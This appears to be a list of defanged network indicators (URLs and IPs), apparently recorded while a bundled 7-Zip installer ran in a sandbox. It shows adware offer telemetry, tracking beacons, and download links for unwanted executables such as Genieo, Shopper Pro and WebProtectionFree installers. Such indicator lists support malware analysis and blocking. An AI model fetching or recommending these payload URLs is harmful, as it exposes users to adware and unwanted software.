hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=
hxxp://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEEIa8pQJhBkfUgpLxiQmp0s=	178.255.83.1
hxxp://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRtl6lMY2+iPob4twryIF+FfgUdvwQUK8NGq7oOyWUqRtF5R8Ri4uHa/LgCEBBwnU/1VAjXMGAB2OqRdbs=	178.255.83.1
hxxp://ocsp.usertrust.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQDmFsbNcBDBl+cij2b1soa7	178.255.83.1
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?8bf43c53ed1949cb
hxxp://hostedocsp.globalsign.com/root-r3.crl
hxxp://hostedocsp.globalsign.com/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhZyg35kUM7JUe4UHDT5+Nwg==
hxxp://www.theviilage.com/windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1953&uid=&upv=	208.43.69.149
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=2&index_in_screen=1&index_in_session=2&0.33195344750229993
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=filesfrog&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=0&index_in_screen=0&index_in_session=0&display_height=114&0.038494187488100684
hxxp://hostedocsp.globalsign.com/root.crl
hxxp://hostedocsp.globalsign.com/gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhZ1N/ArcYWNWqP8XWy7QmXA==
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=
hxxp://e6845.ce.akamaiedge.net/ThawtePremiumServerCA.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECECVRccvD8Qb29B4D63fPT+k=
hxxp://a1363.dscg.akamai.net/pki/crl/products/MicCodSigPCA_08-31-2010.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=
hxxp://ocsp.usertrust.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQCEHQmdFrc480Fy/u/h0ldP	178.255.83.1
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=filesfrog&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=0&index_in_screen=0&index_in_session=0&0.1873213158396364
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=4&index_in_screen=1&index_in_session=4&display_height=170&0.5185961038664062
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAKQll6RM0DNpmNM7zH3/Qc=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTEemCaVgs8Tuh2B9fGVE0pKKNyzgQUTF+nNhcF4oZhIkk5jLmo40rgOBoCEC6utoKGY/7ZdVX4/iTzOxo=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRODEXefhs/UZFum2o8YfzOFwceMwQUkz5j3yJ0BOBkhDHd2yOfDq+2TZMCEA89qsgV9niZmSI6gIO0S/U=
hxxp://dl.ourinputinfonet.com/spd/shopp/iweb.exe	69.16.175.42
hxxp://installer.filebulldog.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=3&index_in_screen=1&index_in_session=3&0.6578830610403008	78.138.127.15
hxxp://rapidssl-ocsp.geotrust.com/	23.51.123.27
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429690911	54.231.33.102
hxxp://x5rxab0416k-457zol7j.netdna-ssl.com/yta33_full.exe	198.232.124.192
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?8bf43c53ed1949cb	87.245.216.19
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/26773.ashx?e=hpY1rXLYst7XN7SCySESdxbYZRf/C3T/sg7jyZ2P5QEDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/hr0m58B4wFS2iZCCrzprTQ2/M8jJQIzSfeAVcyDPrG1hQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXrErQ9Bnn0aJ48i0s7dJ/Bbyx1MJEBjl89qubDp5/hPwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0=	198.232.124.192
hxxp://download.filesfrog.com/software_files/7_zip/9_20/7z920.exe	212.7.199.182
hxxp://download.genieo.com/partner/gim394750002/release/live/InstallGenieo.exe	54.231.1.41
hxxp://webprotectionfree.com/node/?s=9813&br=1	37.58.109.2
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va94pHMK6k0QKwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H1Ycyhma7aDpz4muiLFL76qdrhEpZL 4aO zY9fV5Wloo2zG/KclzJ/	198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eISsn0A7mAaebxLgvS5H7rLCN3RAljps6WsYkYO9ZYsicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L70vvYtuUlw ZaDn5jCLwttgKkdlz1lRoXg/MOwCCT3fpsrZDsYYadbOj/D8d98sTHIeppoKBjGo94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib g9KDdEq/ZU1na42knl8dt2p5Dhwj6xWsxk4TCH dVlV0fzcryGBS2cR8EkzWoCFaau9xWXQx//	173.239.4.105
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECECVRccvD8Qb29B4D63fPT+k=	23.51.123.27
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/GBdpOSxhWVkVmCwhd6chxgZiB55ZFi63BQfH8WBRftYqYyeeQ3tOz2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jwcgnxskTEU3UUNYg7k1gh3qy44NMFjniEc/tpgWF 4QCPq0sZbJmrMOG6Yjxv3CA==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=2fVCHF6kf8gqMrckuXQYBGRwNktoQ3nsEhGH33nPGlEQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFr1QHs3X92ilGr/ceExD0utgTxIUcsgQ wgoc5yg4Xn9QTzTZ4WWsKIZbjoNIgPSfAxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9WHMoZmu2g6c JroixS qna4RKWS/uGjvs2PX1eVpaKNsxvynJcyfw==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/26773.ashx?e=XOxRKBm2zlx2gtIu55M0yrLCN3RAljpsZ7cu GLkj0D8ln8Iap23//2TEkHeJNDUga zuhV9q9E25WOCvP1grGvtcIuz9bMoDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3eHvRF2LX Yt4KY4qKL6xah1lOMOIqPyebLCBXnZHg3MFPgOpImHIzeY4MKoaVft0VQACmRxohL6puHhIRrwqOuPQbi9J/L4Un7VGscQsWmG0rXCKv72ck3a4leJj3gd30GxQkL QSvRXZhP8niUnuouQlrWxrEbh307rxaZ1a5SIkhsArw0dj8zg11Zya4vLW0RgB7IP YB0jkP9WgxEx9I4XwGR9EbgCdb0Dd4xhSv 1J0U syReC1svLRNv5uqTcyQFgmQvaXQpojaFkJmFPfd/83uoJ1QfIPihIO LQJXwV9ydvg ny5BkrEKzn8rg5O62wFzDmx45WF4clj5xtzKEv37udDSeG7SWcjRf4QvtzO Ow1rb2IeMW03dSlmZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg==	198.232.124.192
hxxp://installer.filebulldog.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=1&index_in_screen=1&index_in_session=1&0.24639551799866416	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=2&index_in_screen=1&index_in_session=2&0.9388202755332841	78.138.127.15
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=6c547230-b3a9-4235-8048-b58573bb7041&Password=Jhbh8dCq&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429690899&SBPIDS=1&KA=1
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=2fVCHF6kf8gqMrckuXQYBGRwNktoQ3nsEhGH33nPGlEQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFr1QHs3X92ilENsgzOne6YootdTWmGMXDZf1BAY4LH4DXJ/Wd udVl73DBUCuUT/a3jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LKdbCddElNad3dLO3htDFEeMMWr5 TJ2MF4rjDLtFkGZI7/t7pTWD9w==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=LCnUzM5l8JJPNjxRBLtb48og2agSuHbz/WD6e6SZIIExLHUkaU0662DlNcv2CDURqIv75/Ca75p3dLO3htDFEeMMWr5 TJ2MF4rjDLtFkGZI7/t7pTWD93wF8xC533Fcga zuhV9q9HBPj1czTaPD YbVOspTOCGYCpHZc9ZUaFgmm5xjmBlpCI3FLqKedV9QoAE/or KqogGeUpHHIWiSSfRcuIfR0fUu0KI1IApgXi8o/D3UbFG5afu6g3zDL9sAA87lr5peQqPeikK78R8xbc 92iXckP2zoGJL1TUxzG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H1Ycyhma7aDpz4muiLFL76qdrhEpZL 4aO zY9fV5Wloo2zG/KclzJ/	198.232.124.192
hxxp://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQCEHQmdFrc480Fy/u/h0ldP	178.255.83.1
hxxp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar	87.245.216.26
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=eISsn0A7mAY luBT5UotGDUK7GK7BZ30LUotJQa60ZF8HUTlRWqBMpqmf2Jej06Ro0LYMjdINHMQslsRMw lHlOF8w yxhy/qUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l5rBjqlmzKnb11WfmaK7dF89zNhnv/igXYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj2ANygAkC0Bha6lfIH DnKMZiwRfiQgeW8eFfSuOsPNu9 inPTLZDtg=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/aaY YTEt5UpR90anDedSCwwlzaMFN/KKrJhv0HKSN7b 4IgVQCGNdqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1EBAkzt/76KlDvoN39ZYYoAGlB3rlXyCF0YO/4St1QYDocEh1ssDf3RqvFUJk7fc2A==	198.232.124.192
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=bomaaVKFzzKfZNC1TqAoBHsn3FpN4laBfhalIKY8mkHF v7PQ4kXwFfJuLEsXK5wdTDQrchEgee7POMu04e0BSngVvOsCGnWujghDckn/xgt lphzBReO6bK2Q7GGGnWJ281Et5v 1gpJLLN2z FnwCiBUKcGrTX6nvOi2lZHZeM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXaBQc7HR56MWNJxXQawroNmbktPzt6FdqYDsLXEeAL2CmrvcVl0Mf/w==
hxxp://install-cdn.theswiftrecord.com/sd?is=sm	87.245.216.96
hxxp://webprotectionfree.com/node/?s=9813&br=4	37.58.109.2
hxxp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423	78.138.127.15
hxxp://d1fm7s0411k9q7.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe	54.230.98.131
hxxp://logs.localkeymappeer.com/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429690905&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429690905	69.16.175.10
hxxp://dl.ourinputinfonet.com/spd/shopp/sense9.exe	69.16.175.42
hxxp://webprotectionfree.com/node/?s=9813&br=5	37.58.109.2
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429690918	54.231.33.102
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=WL9usJOVMsOip5SW8XfeInI0A0MEgFsCbpEIGKaUKB1AXdQqxJ1va3sc7hbJtTJHVR5AawbKoxpd5sSQkmuoYNcNqW9cpn67YCpHZc9ZUaH6MIOzDij/FhQC drCF7eF njmPLTFBJTHZ0SBJrLaprY4IvPwXqEQMSZV3lug1pD1Ez1y92rC5W/XGM3eTsN iCHLDEUg0E9ZhAiHs FPXj4muiLFL76qdrhEpZL 4aO zY9fV5WlouSF8e D2/ze94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/26773.ashx?e=XOxRKBm2zlx2gtIu55M0yrLCN3RAljpsZ7cu GLkj0D8ln8Iap23//2TEkHeJNDUga zuhV9q9E25WOCvP1grGvtcIuz9bMon14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf	198.232.124.192
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.22397580442406895	78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va9MPpNra519lzs1eJiiYYwojgb6v7cXpPvbiGjjio4NqpcQqJAqvU1Umua4LEJhhF3iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WUlrUWED/AT5O8SfacMoEvML VAuC4pJDk/gg/pCrjQ09kLgavIVMUP	198.232.124.192
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=3&index_in_screen=1&index_in_session=3&0.30776611432051115	78.138.127.15
hxxp://aaf9uu-su78sj1t.netdna-ssl.com/ShopperProJSINJFull.exe	198.232.124.192
hxxp://webprotectionfree.com/c/SetupWPP.exe	37.58.109.2
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=043Mckb8Lnj5nRk39lR6RSGZf5tV7NUiQN2G3STfV1oSZTerw9Y85XkjLFx9TDtKsPYyGQt5yHQzixC5kmTb5s610XCmzC22BHIQSAUi/qZ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOL iC/H71WQ Kfz/LBnabZ4tyMdnwSjqVyrGxS5fpqxv3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OdBaNFR1Cr06TJP9M3NuQpnzbANYrsS2gQQxJ9I93iAyu0ButGm56Bf/Uc/anY3mQOZi02 fPW7D38JdoZvbQDv3AqTFiqNP5w==	54.197.238.106
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=4&utmn=2121860181&utmhn=installer.filebulldog.com&utmhid=1351802398&utmr=-&utmp=Offer_Accepted&utmht=1429691003977&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~	173.194.122.2
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/12502.ashx?e=4mC0vXGWFtpLIQoO9u2NqiGZf5tV7NUiW1tgKrNy38kDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/ixO6Rp7XuOM0CN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=KSz5qzb2KgJPNjxRBLtb4/blDe4kkWsD/WD6e6SZIIExLHUkaU0662DlNcv2CDURqIv75/Ca75p3dLO3htDFEeMMWr5 TJ2MF4rjDLtFkGZI7/t7pTWD93wF8xC533Fcga zuhV9q9HBPj1czTaPD6TBgykGtBXjnbJKYwPfuhCWcSucRpHa5xQC drCF7eFc68xQtOPoFfUGrm1d5TzRzYd0CRAC1t03RQMh2kgHVCeHUcar4A/UqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRAQJM7f ipQ76Dd/WWGKABpQd65V8ghdGDv ErdUGA6HBIdbLA390arxVCZO33Ng=	198.232.124.192
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=2&index_in_screen=1&index_in_session=2&0.47954866550261016	78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=/k6kR j50trrVVBzJuBn8nI0A0MEgFsCUunkGFg4nZ5AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYym DfDTo4DWQRWOvghCBTr/TdVMo67fxO0s IILilpWF0qsPhrJ4rL5/EiQPnfm1ghi/Nq9Fx/HBIE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuibbx1H4KblNZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUt0Nlf9GvHrHU=	198.232.124.192
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?22286cd7139739ee	87.245.216.19
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUvHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRAQJM7f ipQ76Dd/WWGKABpQd65V8ghdGDv ErdUGA6HBIdbLA390arxVCZO33Ng=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/16945.ashx?e=60i6h5i9K tFwtfIvB/2UnoWj6SXffCIjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jHdnI4qyHE9iJOdggUH8lGT3FsALGJiApIj GXdVcREtCUHeR8YCF35CHo3qBIj7aeeVwEMc36B6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRAQJM7f ipQ76Dd/WWGKABpQd65V8ghdGDv ErdUGA6HBIdbLA390arxVCZO33Ng=	198.232.124.192
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429690906&SBPIDS=0
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429690911	54.231.33.102
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/17416.ashx?e=2fVCHF6kf8gqMrckuXQYBGRwNktoQ3nsEhGH33nPGlEQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFr1QHs3X92ilEKNSXkoE/uV5pZis9f nTddyS4BuUDC9W3X2f616LHv6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRAQJM7f ipQ76Dd/WWGKABpQd65V8ghdGDv ErdUGA6HBIdbLA390arxVCZO33Ng=	198.232.124.192
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=4&index_in_screen=1&index_in_session=4&display_height=50&0.3495124598283018	78.138.127.15
